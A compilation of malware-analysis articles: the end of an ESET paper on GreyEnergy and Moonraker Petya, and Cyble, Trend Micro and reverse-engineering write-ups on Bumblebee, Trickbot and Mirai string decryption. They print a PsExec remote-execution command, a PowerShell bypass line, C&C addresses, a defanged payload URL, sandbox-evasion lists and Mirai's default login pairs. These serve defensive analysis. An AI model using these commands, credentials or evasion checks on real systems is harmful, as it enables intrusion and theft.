groups. This leads us to believe that this blob may contain the original Green Petya malware. Interestingly, the decryption routine used by Moonraker Petya is very similar to a routine used by GreyEnergy in-memory-only DLL files. Moonraker Petya is able to spread through the local network using SysInternals PsExec. The malware contains a zlib-compressed binary of PsExec in its resources. Later this binary is dropped into the Windows directory with the filename conhost.exe. The malware spreads itself in a similar manner to NotPetya: it enumerates network hosts using various methods (WNetEnumResourceW, GetIpNetTable, GetExtendedTcpTable, NetServerEnum, TERMSRV-records using CredEnumerateW), then it connects to a network host using the WNetAddConnection2W function and saves the malware as \\%TARGET-HOST%\admin$\%MALWARE%. Afterward, Moonraker Petya executes the following command, which starts the malware on the remote computer using the dropped PsExec: ``` C:\Windows\conhost.exe \\%TARGET-HOST% -accepteula -s -d C:\Windows\System32\rundll32.exe “C:\Windows\msvcrt120b.dll”, #1 %TIMEOUT% “USER1:PASSWORD1;USER2:PASSWORD2” “%DECRYPTIONKEY%” ``` It is important to note that the malware does not contain a credential-harvesting functionality using Mimikatz, nor does it contain the EternalBlue exploit. In addition to all the functionality already mentioned, Moonraker Petya features file encryption. The malware enumerates all files on all fixed drives. After that, it attempts to encrypt them using the AES-256 encryption algorithm. After the file encryption process has finished, the malware may create a README.txt file with payment instructions. The payment instruction file contains a personal key encrypted with RSA-2048. In addition, it contains the same text and onion addresses as the original Green Petya. It seems that the attackers wanted to disguise usage of this malware as a Green Petya attack. As the final step, Moonraker Petya attempts to reboot the computer. ## CONCLUSION GreyEnergy is an important part of the arsenal of one of the most dangerous APT groups that has been terrorizing Ukraine for the past several years. We consider it to be the successor of the BlackEnergy toolkit and have outlined the similarities and differences in this paper. The main reasons for this conclusion are the similar malware design, specific choice of targeted victims, and modus operandi. The transition from BlackEnergy to GreyEnergy happened at the end of 2015 – perhaps because the attackers needed to update their malware toolset when the BlackEnergy framework became the center of attention after it was used in the attack against the Ukrainian power grid that year. An interesting piece of the puzzle was revealed when we identified the group’s use of Moonraker Petya, which we believe is the predecessor of the destructive NotPetya worm of June 2016. This shows that the TeleBots and GreyEnergy subgroups are cooperating, or at least sharing some ideas and code. Nonetheless, we consider them to be distinct groups with slightly different goals. As of this writing, we have never seen intentional TeleBots activity outside of Ukraine, but we have seen GreyEnergy – just as BlackEnergy before it – active outside of Ukraine’s borders. It should be noted that we are not attributing this malware and activity to any nation state. Our descriptions of ‘APT groups’ focus on technical indicators rather than investigative work of intelligence agencies. However, it is certain that the threat actors responsible for GreyEnergy are extremely dangerous in their persistence and stealth. ESET encourages individuals, businesses, and institutions to have the most up-to-date endpoint security protection to stay safe from this threat. We will continue monitoring GreyEnergy and TeleBots activity and report further findings. ## IOCS **ESET Detection names:** - VBA/TrojanDownloader AgentEYV - Win32/AgentSCT - Win32/AgentSCM - Win32/AgentSYN - Win64/AgentSYN - Win32/Agent WTD - Win32/GreyEnergy - Win64/GreyEnergy - Win32/Diskcoder MoonrakerPetyaA - PHP/AgentJS - PHP/AgentJX - PHP/AgentKJ - PHP/AgentKK - PHP/AgentKL - PHP/AgentKM - PHP/AgentKN - PHP/AgentKO - PHP/AgentKP - PHP/AgentKQ - PHP/AgentKR - PHP/AgentKS - PHP/AgentKT - PHP/AgentKU - PHP/AgentLC - PHP/AgentNBP - PHP/KryptikAB - PHP/TrojanProxyAgentB - ASP/AgentL - Win64/HackToolPortScanner A - Win32/HackToolPortScanner A - Win64/RiskwareMimikatzA - Win64/RiskwareMimikatzAE - Win64/RiskwareMimikatzAH - Win32/WinexeA - Win64/WinexeA - Win64/WinexeB **GreyEnergy document:** SHA-1: - 177AF8F6E8D6F4952D13F88CDF1887CB7220A64526 **GreyEnergy mini:** SHA-1: - 455D9EB9E11AA9AF9717E0260A70611FF84EF900 - 51309371673ACD310F327A10476F707EB914E255 - CB11F36E271306354998BB8ABB6CA67C1D6A3E24 - CC1CE3073937552459FB8ED0ADB5D56FA00BCD43 - 30AF51F1F7CB9A9A46DF3ABFFB6AE3E39935D82C **GreyEnergy droppers:** SHA-1: - 04F75879132B0BFBA96CB7B210124BC3D396A7CE - 69E2487EEE4637FE62E47891154D97DFDF8AAD57 - 716EFE17CD1563FFAD5E5E9A3E0CAC3CAB725F92 - 93EF4F47AC160721768A00E1A2121B45A9933A1D - 94F445B65BF9A0AB134FAD2AAAD70779EAFD9288 - A414F0A651F750EEA18F6D6C64627C4720548581 - B3EF67F7881884A2E3493FE3D5F614DBBC51A79B - EBD5DC18C51B6FB0E9985A3A9E86FF66E22E813E - EC7E018BA36F07E6DADBE411E35B0B92E3AD8ABA **GreyEnergy dropped DLLs:** SHA-1: - 0B5D24E6520B8D6547526FCBFC5768EC5AD19314 - 10D7687C44BECA4151BB07F78C6E605E8A552889 - 2A7EE7562A6A5BA7F192B3D6AED8627DFFDA4903 - 3CBDC146441E4858A1DE47DF0B4B795C4B0C2862 - 4E137F04A2C5FA64D5BF334EF78FE48CF7C7D626 - 62E00701F62971311EF8E57F33F6A3BA8ED28BF7 - 646060AC31FFDDFBD02967216BC71556A0C1AEDF - 748FE84497423ED209357E923BE28083D42D69DE - B75D0379C5081958AF83A542901553E1710979C7 - BFC164E5A28A3D56B8493B1FC1CA4A12FA1AC6AC - C1EB0150E2FCC099465C210B528BF508D2C64520 - CBB7BA92CDF86FA260982399DAB8B416D905E89B - DF051C67EE633231E4C76EC247932C1A9868C14F - DFD8665D91C508FAF66E2BC2789B504670762EA2 - E2436472B984F4505B4B938CEE6CAE26EF043FC7 - E3E61DF9E0DD92C98223C750E13001CBB73A1E31 - E496318E6644E47B07D6CAB00B93D27D0FE6B415 - EDA505896FFF9A29BD7EAE67FD626D7FFA36C7B2 - F00BEFDF08678B642B69D128F2AFAE32A1564A90 - F36ECAC8696AA0862AD3779CA464B2CD399D809927 **GreyEnergy in-memory-only DLLs:** SHA-1: - 0BCECB797306D30D0BA5EAEA123B5BF69981EFF4 - 11159DB91B870E6728F1A7835B5D8BE9424914B9 - 6ABD4B82A133C4610E5779C876FCB7E066898380 - 848F0DBF50B582A87399428D093E5903FFAEEDCD - 99A81305EF6E45F470EEE677C6491045E3B4D33A - A01036A8EFE5349920A656A422E959A2B9B76F02 - C449294E57088E2E2B9766493E48C98B8C9180F8 - C7FC689FE76361EF4FDC1F2A5BAB71C0E2E09746 - D24FC871A721B2FD01F143EB6375784144365A84 - DA617BC6DCD2083D93A9A83D4F15E3713D365960 - E4FCAA1B6A27AA183C6A3A46B84B5EAE9772920B **Moonraker Petya:** SHA-1: - 1AA1EF7470A8882CA81BB9894630433E5CCE4373 **PHP and ASP scripts:** SHA-1: - 10F4D12CF8EE15747BFB618F3731D81A905AAB04 - 13C5B14E19C9095ABA3F1DA56B1A76793C7144B9 - 1BA30B645E974DE86F24054B238FE77A331D0D2C - 34F8323B3B6BCF4B47D0ABEFCF9E38E15ECD2858 - 438C8F9607E06E7AC1261F99F8311B004C23DEC3 - 4D1C282F9942EC87C5B4D9363187AFDC120F4DC7 - 4E0C5CCFFB7E2D17C26F82DB5564E47F141300B3 - 5377ADB779DE325A74838C0815EEA958B4822F82 - 58A69A8D1B94E751050DECF87F2572E09794F0F8 - 5DD34FB1C8E224C17DCE04E02A4409E9393BCE58 - 639BCE78F961C4B9ECD9FE1A8537733388B99857 - 7127B880C8E31FBEB1D376EB55A6F878BC77B21A - 71BA8FE0C9C32A9B987E2BB827FE54DAE905D65E - 78A7FBDD6ADF073EA6D835BE69084E071B4DA395 - 81332D2F96A354B1B8E11984918C43FB9B5CB9DB - 8CC008B3189F8CE9A96C2C41F864D019319EB2EE - 940DE46CD8C50C28A9C0EFC65AEE7D567117941B - A415E12591DD47289E235E7022A6896CB2BFDE96 - D3AE97A99D826F49AD03ADDC9F0D5200BE46AB5E - E69F5FF2FCD18698BB584B6BC15136D61EB4F594 - E83A090D325E4A9E30B88A181396D62FEF5D54D5 - ECF21EFC09E4E2ACFEEB71FB78CB1F518E1F572428 **Custom port scanner:** SHA-1: - B371A5D6465DC85C093A5FB84D7CDDEB1EFFCC56 - B40BDE0341F52481AE1820022FA8376E53A20040 **Mimikatz:** SHA-1: - 89D7E0DA80C9973D945E6F62E843606B2E264F7E - 8B295AB4789105F9910E4F3AF1B60CBBA8AD6FC0 - AD6F835F239DA6683CAA54FCCBCFDD0DC40196BE **WinExe:** SHA-1: - 0666B109B0128599D535904C1F7DDC02C1F704F2 - 2695FCFE83AB536D89147184589CCB44FC4A60F3 - 3608EC28A9AD7AF14325F764FB2F356731F1CA7A - 37C837FB170164CBC88BEAE720DF128B786A71E0 - 594B809343FEB1D14F80F0902D764A9BF0A8C33C - 7C1F7CE5E57CBDE9AC7755A7B755171E38ABD70D - 90122C0DC5890F9A7B5774C6966EA694A590BD38 - C59F66808EA8F07CBDE74116DDE60DAB4F9F3122 - CEB96B364D6A8B65EA8FA43EB0A735176E409EB0 - FCEAA83E7BD9BCAB5EFBA9D1811480B8CB0B8A3E **Warning!** Most of the servers with these IP addresses were part of the Tor network, which means that the use of these indicators could result in false positive matches. **GreyEnergy mini C&C addresses:** - https://82.118.236[.]23:8443/27c00829d57988279f3ec61a05dee75a - http://82.118.236[.]23:8080/27c00829d57988279f3ec61a05dee75a - https://88.198.13[.]116:8443/xmlservice - http://88.198.13[.]116:8080/xmlservice - https://217.12.204[.]100/news/ - http://217.12.204[.]100/news/ - http://pbank.co[.]ua/favicon.ico (IP: 185.128.40.90) **GreyEnergy C&C addresses:** | Active period | IP address | |---------------|------------| | 2015 - 2016 | 109.200.202.7 | | 2015 - 2015 | 193.105.134.68 | | 2015 - 2016 | 163.172.7.195 | | 2015 - 2016 | 163.172.7.196 | | 2016 - 2016 | 5.149.248.77 | | 2016 - 2016 | 31.148.220.112 | | 2016 - 2016 | 62.210.77.169 | | 2016 - 2016 | 85.25.211.10 | | 2016 - 2016 | 138.201.198.164 | | 2016 - 2017 | 124.217.254.55 | | 2017 - 2017 | 46.249.49.231 | | 2017 - 2017 | 37.59.14.94 | | 2017 - 2017 | 213.239.202.149 | | 2017 - 2017 | 88.198.13.116 | | 2017 - 2017 | 217.12.202.111 | | 2017 - 2017 | 176.31.116.140 | | 2017 - 2018 | 185.217.0.121 | | 2017 - 2018 | 178.150.0.200 | | 2018 - 2018 | 176.121.10.137 | | 2018 - 2018 | 178.255.40.194 | | 2018 - 2018 | 193.105.134.56 | | 2018 - 2018 | 94.130.88.50 | | 2018 - 2018 | 185.216.33.126 | ## ABOUT ESET For 30 years, ESET® has been developing industry-leading IT security software and services for businesses and consumers worldwide. With solutions ranging from endpoint and mobile security to encryption and two-factor authentication, ESET’s high-performing, easy-to-use products give consumers and businesses the peace of mind to enjoy the full potential of their technology. ESET unobtrusively protects and monitors 24/7, updating defenses in real time to keep users safe and businesses running without interruption. Evolving threats require an evolving IT security company. Backed by R&D centers worldwide, ESET becomes the first IT security company to earn 100 Virus Bulletin VB100 awards, identifying every single “in-the-wild” malware without interruption since 2003.
# Bumblebee Returns with New Infection Technique **September 7, 2022** Delivers Payload Using Post Exploitation Framework During our routine threat-hunting exercise, Cyble Research & Intelligence Labs (CRIL) came across a Twitter post wherein a researcher mentioned an interesting infection chain of the Bumblebee loader malware being distributed via spam campaigns. Bumblebee is a replacement for the BazarLoader malware, which acts as a downloader and delivers known attack frameworks and open-source tools such as Cobalt Strike, Shellcode, Sliver, Meterpreter, etc. It also downloads other types of malware such as ransomware and trojans. ## Technical Details The initial infection starts with a spam email that has a password-protected attachment containing a .VHD (Virtual Hard Disk) extension file. The VHD file contains two files. The first is named “Quote.lnk” and the second is a hidden file “imagedata.ps1”. The LNK shortcut file has the parameters to execute the file “imagedata.ps1”, which further loads the Bumblebee payload in the memory of PowerShell. The following target command line is used by the LNK for executing the PowerShell Script “imagedata.ps1”: ``` C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -file imagedata.ps1 ``` ### First Stage PowerShell Loader Upon execution of the “imagedata.ps1” file, it hides the PowerShell window and runs the PowerShell code stealthily in the background. By default, the malware uses the –windowstyle hidden PowerShell command for hiding the PowerShell window. However, in this case, the malware uses an alternate command, ShowWindow, to evade detection by Anti-virus scanners. The PowerShell script contains strings that are split into multiple lines and concatenated later for execution. This is one of the techniques used by the malware to evade detection by Anti-virus products. The malware iterates through the list of normalized Base64 elements, concatenates, decodes them using `[System.Convert]::FromBase64String` method, and finally performs the gzip decompression operation using `[System.IO.Compression.CompressionMode]::Decompress` method. The gzip decompressed data contains the second stage of the PowerShell script, which is further executed by the “Invoke-Expression”. ### Second Stage PowerShell Loader This PowerShell script contains a large code block that loads the embedded DLL payload into the memory of “powershell.exe”. The second stage PowerShell code also employs the same obfuscation technique used in the first stage. The malware utilizes the PowerSploit module for its execution. The PowerSploit is an open-source post-exploitation framework in which the malware uses a method, Invoke-ReflectivePEInjection, for reflectively loading the DLL into the PowerShell Process. This method validates the embedded file and performs multiple checks to ensure that the file is loaded properly on the executing system. The second stage PowerShell script contains a byte array in which the first byte is replaced with 0x4d to get the actual PE DLL file. This DLL file is the final Bumblebee payload that performs other malicious activities. ### Bumblebee Payload Based on our static analysis, we found that the payload is a 64-bit, DLL binary compiled with a Microsoft Visual C/C++ compiler. In June 2022, we published a technical blog on the Bumblebee loader. Our research indicates that the payload behavior of the current variant under our analysis is similar to the one we analyzed earlier. ## Conclusion Bumblebee, a recently developed malware loader, has quickly become a key component in a wide range of cyberattacks, besides replacing the existing BazarLoader. In an attempt to stay a step ahead of cybersecurity entities, Threat Actors (TAs) are constantly adapting new techniques and continuously monitoring to stay updated on the defense mechanisms employed by enterprises. Similarly, TAs behind the sophisticated Bumblebee loader keep updating its capabilities in order to strengthen its evasive maneuvers and anti-analysis tricks. CRIL has been closely monitoring the Bumblebee malware group and other similar TA groups for a better understanding of their motivations and keeping our readers well-informed on the latest cybercrime news and cybersecurity challenges. ## Our Recommendations - Refrain from opening untrusted links and email attachments without first verifying their authenticity. - Educate employees in terms of protecting themselves from threats like phishing/untrusted URLs. - Avoid downloading files from unknown websites. - Use strong passwords and enforce multi-factor authentication wherever possible. - Turn on the automatic software update feature on your computer, mobile, and other connected devices. - Use a reputed antivirus and internet security software package on your connected devices, including PC, laptop, and mobile. - Block URLs that could spread the malware, e.g., Torrent/Warez. - Monitor the beacon on the network level to block data exfiltration by malware or TAs. - Enable Data Loss Prevention (DLP) Solutions on the employees’ systems. ## MITRE ATT&CK® Techniques | Tactic | Technique ID | Technique Name | |----------------------|--------------|-----------------------------------------| | Initial Access | T1566 | Phishing | | Execution | T1204 | User Execution | | | T1059 | PowerShell | | Privilege Escalation | T1574 | DLL Side-Loading | | | T1055 | Process Injection | | Defence Evasion | T1027 | Obfuscated Files or Information | | | T1497 | Virtualization/Sandbox Evasion | | | T1574 | DLL Side-Loading | | Discovery | T1012 | Query Registry | | | T1082 | System Information Discovery | | | T1518 | Security Software Discovery | ## Indicators Of Compromise (IoC) | Indicators | Indicator | Description | Type | |------------|-----------|-------------|------| | | 59fc33d849f9ad2ab4e4b7fe4b443a33 | VHD file | MD5 | | | e4ed0f94e8ad9aeeb019e6d253e2eefa83b51b5a | | SHA1 | | | 2102214c6a288819112b69005737bcfdf256730ac859e8c53c9697e3f87839f2 | | Sha256 | | | b3b877f927898a457e35e4c6a6710d01 | LNK file | MD5 | | | 8ed3dfa1ece8dbad0ccc8be8c1684f5a3de08ccb | | SHA1 | | | 1285f03b8dbe35c82feef0cb57b3e9b24e75efabba0589752c2256a8da00ad85 | | Sha256 | | | 254d757d0f176afa59ecea28822b3a71 | PS1 file – Stage 1 | MD5 | | | 3e59fff860826055423dde5bbd8830cceae17cf3 | | SHA1 | | | 0ff8988d76fc6bd764a70a7a4f07a15b2b2c604138d9aadc784c9aeb6b77e275 | | SHA256 | | | 225b9fb42b5879c143c56ef7402cbcbc | PS1 file – Stage 2 | MD5 | | | 03369886e9fc4b7eacc390045aa9c4b7fffad69a | | SHA1 | | | db91155087bd2051b7ac0576c0994e9fffb5225c26ea134cb2f38e819f385730 | | SHA256 | | | da6feac8dff2a44784be3d078f2d4ac3 | Bumblebee | MD5 | | | c0f43d1d3e87b0e8b86b4b9e91cb55b4a1893b48 | DLL | SHA1 | | | 9bd9da44cc2d259b8c383993e2e05bbe1bcdac917db563b94e824b4b1628e87c | payload | SHA256 |
# Latest Trickbot Campaign Delivered via Highly Obfuscated JS File **Posted on:** August 5, 2019 at 5:03 am **Posted in:** Malware, Spam **Author:** Noel Anthony Llimos and Michael Jhon Ofiaza (Threats Analysts) We have been tracking Trickbot banking trojan activity and recently discovered a variant of the malware (detected by Trend Micro as TrojanSpy.Win32.TRICKBOT.TIGOCDC) from distributed spam emails that contain a Microsoft Word document with enabled macro. Once the document is clicked, it drops a heavily obfuscated JS file (JavaScript) that downloads Trickbot as its payload. This malware also checks for the number of running processes in the affected machine; if it detects that it’s in an environment with limited processes, the malware will not proceed with its routine as it assumes that it is running in a virtual environment. Aside from its information theft capabilities, it also deletes files located in removable and network drives that have particular extensions, after which the files are replaced with a copy of the malware. Based on our telemetry, this Trickbot campaign has affected the United States the most. It has also distributed spam to China, Canada, and India. In a sample email, the spam purports to be a subscription notification involving advertising providers, even telling the user that it submitted an application for a three-year subscription and settled a sum of money with the sender. The mail then explains that several more fees will be charged to the user’s card in the coming transactions. It ends by prompting the user to see the attached document for all the settlement and subscription information. The document in question contains the malicious script. The distributed Word document presents the user with a notification that states the content can be viewed by enabling macro content. It’s worth noting that the document hides the JS script in the document itself and not in the macro. It does this by disguising the script through the same font color as the document background. The script is obfuscated and contains different functions. In order to decrypt a function, it will use another function that will convert it to a single character. Upon successfully deobfuscating the file, we were able to analyze it and observed some interesting behaviors. Upon execution, it will display a fake Microsoft error to trick the user with an error message that pops up after enabling the macro. But actually, the JS file is already running in the background. For persistence, the malware creates a copy of itself into the Startup folder as Shell.jse. The JS file also checks for running processes — what’s particularly notable is the malware’s anti-analysis or evasion characteristic, which checks for the total number of all the running processes in the victim’s machine, which means it will not proceed with its execution if there are not enough processes running. If the running processes are under 1,400 characters (length of the string), the malware assumes it to be an indicator that it is running in a virtual or sandbox environment. It will also check for the existence of processes usually used for analysis. Aside from these, the malware inspects if the environment it runs in relates to specific usernames. Here’s a list of processes and debugging tools the malware checks for in the affected system: - AgentSimulator.exe - B.exe - BehaviorDumper - BennyDB.exe - ctfmon.exe - DFLocker64 - FrzState2k - gemu – ga.exe - iexplore.exe - ImmunityDebugger - LOGSystem.Agent.Service.exe - lordPE.exe - ProcessHacker - procexp - Procmon - PROCMON - Proxifier.exe - tcpdump - VBoxService - VBoxTray.exe - vmtoolsd - vmware - VzService.exe - windanr.exe - Wireshark Upon further analysis, we’ve also compiled the usernames the malware checks for based on the following strings: - Emily - HAPUBWS - Hong Lee - Johnson - milozs - Peter Wilson - SystemIT | admin - VmRemoteGuest - WIN7 – TRAPS For the malware’s payload, it will connect to the URL hxxps://185[.]159[.]82[.]15/hollyhole/c644[.]php then checks for the file to be downloaded. If it is an executable file, it will save the file to %Temp% as {random}.exe and execute it afterwards. If the file is not an executable, it will then save it as {random}.cro in the same folder. The .cro file will then be decoded using certutil.exe, saved as {random}.exe in the same directory, and executed. Upon further research, we discovered that the downloaded .exe file is a variant of the Trickbot malware. Aside from stealing system information such as OS, CPU, and memory information; user accounts; installed programs and services; IP configuration; and network information (configuration, users, and domain settings), this Trickbot variant also gathers the following credentials and information from applications and internet browsers. **Application credentials:** - Filezilla - Microsoft Outlook - PuTTy - Remote Desktop (RDP) - VNC - WinSCP **Browser credentials and information (Google Chrome, Internet Explorer, Microsoft Edge, and Mozilla Firefox):** - Auto-fills - Billing info data - Browsing history - Credit card data - HTTP POST responses - Internet cookies - Usernames and passwords This malware also uses a point-of-sale (PoS) extraction module called psfin32, which identifies PoS-related terms located in the domain of interest. The module uses LDAP queries to search for PoS information on machines with the following substrings: - *ALOHA* - *BOH* - *CASH* - *LANE* - *MICROS* - *POS* - *REG* - *RETAIL* - *STORE* - *TERM* The variant also appears to drop shadnewdll, a proxy module that intercepts and modifies web traffic on an affected device to create fraudulent bank transactions over the network. Additionally, according to security researcher Brad Duncan, the module shares similarities with the banking trojan IcedID, which redirects victims to fake online banking sites or attaches to a browser process to inject fake content in phishing schemes. In such cases where the malware fails to connect, it will search for files with the following extensions in the removable and network drives. These extensions are file types used by Microsoft Office and OpenDocument: - .doc - .xls - .pdf - .rtf - .txt - .pub - .odt - .ods - .odp - .odm - .odc - .odb Files with the aforementioned extensions will be saved in the %Temp% folder as ascii.txt. The said files will all then be deleted and replaced with a copy of the malware and the extension .jse (but is actually a JS file). ## Defending Against Trickbot: Trend Micro Recommendations and Solutions Information-stealing malware Trickbot has become a cybercriminal mainstay for infecting machines and compromising emails, and has been used to reportedly steal more than 250 million accounts. This new development shows how cybercriminals can constantly tweak an existing banking trojan to add new capabilities. Users, however, can prevent these attacks by simply following best practices against spam. Aside from awareness of the telltale signs of a spam email such as suspicious sender address and glaring grammatical errors, we also recommend that users refrain from opening email attachments from unverified sources. Users and enterprises can also benefit from protection that uses a multilayered approach against risks brought by threats like Trickbot. We recommend employing endpoint application control that reduces attack exposure by ensuring only files, documents, and updates associated with whitelisted applications and sites can be installed, downloaded, and viewed. Endpoint solutions powered by XGen™ security such as Trend Micro™ Security and Trend Micro Network Defense can detect related malicious files and URLs and protect users’ systems. Trend Micro™ Smart Protection Suites and Trend Micro Worry-Free™ Business Security, which have behavior monitoring capabilities, can additionally protect from these types of threats by detecting malicious files such as the document and JS file involved in this campaign, as well as blocking all related malicious URLs. The Trend Micro Deep Discovery Inspector protects customers from threats that may lead to C&C connection and data exfiltration via these DDI rules: - 1645: Possible Self-Signed SSL certificate detected - 2780: TRICKBOT – HTTP (Request) ## Indicators of Compromise (IoCs) **SHA-256 and URL** **Trend Micro Pattern Detection** **Trend Micro Predictive Machine Learning Detection** **Note** - 0242ebb681eb1b3dbaa7513 - TrojanSpy.Win32.TRICKBOT.TIGOCDC - TROJ.Win32.TRX.XXPE50FFF031 - Trickbot - 125a8144cc5270698 - Trojan.W97M.JASCREX.A - Downloader.VBA.TRX.XXVBAF01F - Document file - 444dd2358a96a344c - F004 - 666515eec773e200663fbd5f - Trojan.W97M.JASCREX.AB - Downloader.VBA.TRX.XXVBAF01F - Document file - 8a4d73b7f5c8815ff - F004 - 41cd7fec5eaad44d2dba0281 - Trojan.W97M.JASCREX.AD - Downloader.VBA.TRX.XXVBAF01F - Document file - 51b3b344542c40d45 - F004 - 970b135b4c47c12f97bc3d3 - Trojan.W97M.JASCREX.AC - Document file - 9313bcace3a1450d2 - Dropped JS file (with .dat extension) - 571ddabe6304bb68a - H - 970b135b4c47c12f97bc3d3 - Spam email - 9313bcace3a1450d2 - hxxps://185[.]159[.]82[.]15/hollyhole/c644[.]php - Malicious URL Check Point Research also tweeted about this campaign last July.
# Automation in Reverse Engineering: String Decryption Automation plays a crucial role in reverse engineering, whether we search for vulnerabilities in software, analyze malware, or remove obfuscated layers from code. Once we manually identify repeating patterns, we try to automate the process as far as possible. For automation, it often doesn’t matter if you use Binary Ninja, IDA Pro, or Ghidra, as long as you have the knowledge to realize it in your tool of choice. As you will see, you don’t have to be an expert to automate tedious reverse engineering tasks; sometimes it just takes a few lines of code to improve your understanding a lot. Today, we take a closer look at this process and automate the decryption of strings for a malware sample from the Mirai botnet. Mirai is a malware family that hijacks embedded systems such as IP cameras or home routers by scanning for devices that accept default login credentials. To impede analysis, Mirai samples store those credentials in an encoded form and decode them at runtime using a simple XOR with a constant. In the following, we first manually analyze the string obfuscation. Afterward, we use Binary Ninja’s high-level intermediate language (HLIL) API to get all string references and decrypt them. In static malware analysis, one of the first things to do is to have a closer look at the identified strings, since they often reveal a lot of context. In this sample, however, we mostly see strings like `PMMV`, `CFOKL`, `QWRRMPV`, and others. At first glance, they don’t make much sense. However, if we have a closer look at how they are used in the code, we notice something interesting: They are repeatedly used as function parameters for the function `sub_10778`. ``` sub_10778("PMMV", &data_1616c, 0xa) sub_10778("PMMV", "TKXZT", 9) sub_10778("PMMV", "CFOKL", 8) sub_10778("CFOKL", "CFOKL", 7) sub_10778("PMMV", &data_16184, 6) sub_10778("PMMV", "ZOJFKRA", 5) sub_10778("PMMV", "FGDCWNV", 5) sub_10778("PMMV", 0x1619c, 5) {"HWCLVGAJ"} sub_10778("PMMV", &data_161a8, 5) sub_10778("PMMV", &data_161b0, 5) sub_10778("QWRRMPV", "QWRRMPV", 5) sub_10778("root", "xc3511", 0xa) sub_10778("root", "vizxv", 9) sub_10778("root", "admin", 8) sub_10778("admin", "admin", 7) sub_10778("root", "888888", 6) sub_10778("root", "xmhdipc", 5) sub_10778("root", "default", 5) sub_10778("root", 0x1619c, 5) {"juantech"} sub_10778("root", "123456", 5) sub_10778("root", "54321", 5) sub_10778("support", "support", 5) ``` ```python def decrypt(address, already_decrypted): while True: encrypted_byte = bv.read(address, 1) if encrypted_byte == b'\x00' or address in already_decrypted: return decrypted_byte = chr(int(encrypted_byte[0]) ^ 0x22) bv.write(address, decrypted_byte) already_decrypted.add(address) address += 1 target_function = bv.get_function_at(0x10778) already_decrypted = set() for caller_function in set(target_function.callers): for instruction in caller_function.hlil.instructions: if (instruction.operation == HighLevelILOperation.HLIL_CALL and instruction.dest.constant == target_function.start): p1 = instruction.params[0] p2 = instruction.params[1] decrypt(p1.value.value, already_decrypted) decrypt(p2.value.value, already_decrypted) ``` Based on this, we can assume that the passed strings are decoded and further processed in the called function. If we inspect the decompiled code of the function, we identify the following snippet that operates on the first function parameter `arg1`. For the second parameter `arg2`, we can find a similar snippet. ```c uint32_t r0_3 = sub_12c90(arg1) void* r0_5 = sub_14100(r0_3 + 1) sub_12d0c(r0_5, arg1, r0_3 + 1) if (r0_3 > 0) { char* r2_3 = nullptr do { *(r2_3 + r0_5) = *(r2_3 + r0_5) ^ 0x22 r2_3 = &r2_3[1] } while (r0_3 != r2_3) } ``` The code first performs some function calls using `arg1`, goes into a loop, and increments a counter until the condition `r0_3 != r2_3` no longer holds. Within the loop, we notice an XOR operation `*(r2_3 + r0_5) ^ 0x22`, where `*(r2_3 + r0_5)` seems to be an array-like memory access that is XORed with the constant `0x22`. After performing a deeper analysis, we can clean up the code by assigning some reasonable variable and function names. ```c uint32_t length = strlen(arg1) void* ptr = malloc(length + 1) strcpy(ptr, arg1, length + 1) if (length > 0) { char* index = nullptr do { *(index + ptr) = *(index + ptr) ^ 0x22 index = &index[1] } while (length != index) } ``` Now, we have a better understanding of what the code does: It first calculates the length of the provided string, allocates memory for a new string, and copies the encrypted string into the allocated buffer. Afterward, it walks over the copied string and decrypts it bytewise by XORing each byte with `0x22`. This is also in line with the decryption routine of the original source code. In other words, strings are encoded using a bytewise XOR with the constant value `0x22`. If we want to decode the string `PMMV` in Python, we can do this with the following one-liner. We walk over each byte of the string, get its corresponding ASCII value via `ord`, XOR it with `0x22`, and transform it back into a character using `chr`. In a final step, we join all characters into a single string. After we manually analyzed how strings can be decrypted, we will now automate this with Binary Ninja. To automate the decryption, we first have to find a way to identify all encoded strings. In particular, we have to know where they start and where they end; in other words, we aim to identify all encrypted bytes. In the second step, we can decrypt each byte individually. Beforehand, we noticed that the encoded strings are passed as the first two parameters to the function `sub_10778`. To obtain the encoded strings, we can exploit this characteristic by searching for all function calls and parsing all passed parameters. Using Binary Ninja’s high-level intermediate language (HLIL) API, we can realize this within a few lines of code. After fetching the function object of the targeted function `sub_10778`, we walk over all functions calling `sub_10778`. For each of these calling functions (referred to as callers), we need to identify the instruction that performs the call to `sub_10778`. In order to do this, we walk over the caller’s HLIL instructions; for each instruction, we then check if its operation is a call and if the call destination is the targeted function. If so, we access its first two parameters (the pointers to the encoded strings) and pass them to the decryption function. Since some strings—such as `PMMV`—are used as parameters multiple times, we ensure that we only decrypt them once. Therefore, we collect the addresses of all bytes that we already have decrypted in a set called `already_decrypted`. Up until now, we identified all parameters that flow into the decryption routine. The only thing left to do is to identify all encrypted bytes and decrypt them. Since each parameter is a pointer to a string, we can consider it as the string’s start address. Similarly, we can determine the string’s end by scanning for terminating null bytes. Taking the string’s start address as input, we sequentially walk over the string until we reach a byte that terminates the string or that was already decrypted. For each byte, we then transform it into an integer, XOR it with `0x22`, encode it as a character, and write it back to the database. Afterward, we add the current address to the set `already_decrypted` and increment the address. Finally, we have all parts together: We walk over all function calls of the string decryption function, parse the parameters for each call, and decrypt all the strings in Binary Ninja’s database. If we put everything into a Python script and execute it, the decompiled code from above contains all strings in plain text. Automation allows us to spend less time with tedious and repetitive reverse engineering tasks. In this post, I tried to emphasize the thought process behind automation on the example of decrypting strings in malware. Starting with manual analysis, we first pinpointed interesting behavior: encrypted strings used as function parameters. Then, we put it into context by digging into the function and learned that the strings are decrypted inside. By noticing a recurring pattern—that the function is called several times with different parameters—we developed an idea of how to automate the decryption. By using Binary Ninja’s decompiler API, we walked over all relevant function calls, parsed the parameters, and decrypted the strings. In the end, 20 lines of code sufficed to improve the decompilation and achieve a much better understanding of the malware sample. Even if you are just starting out, I encourage you to get familiar with the API that your tool of choice exposes and to automate some of the tedious tasks you encounter during your day-to-day reversing. It is not only fun; reverse engineering also becomes so much easier. For questions, feel free to reach out via Twitter @mr_phrazer, mail [email protected], or various other channels.
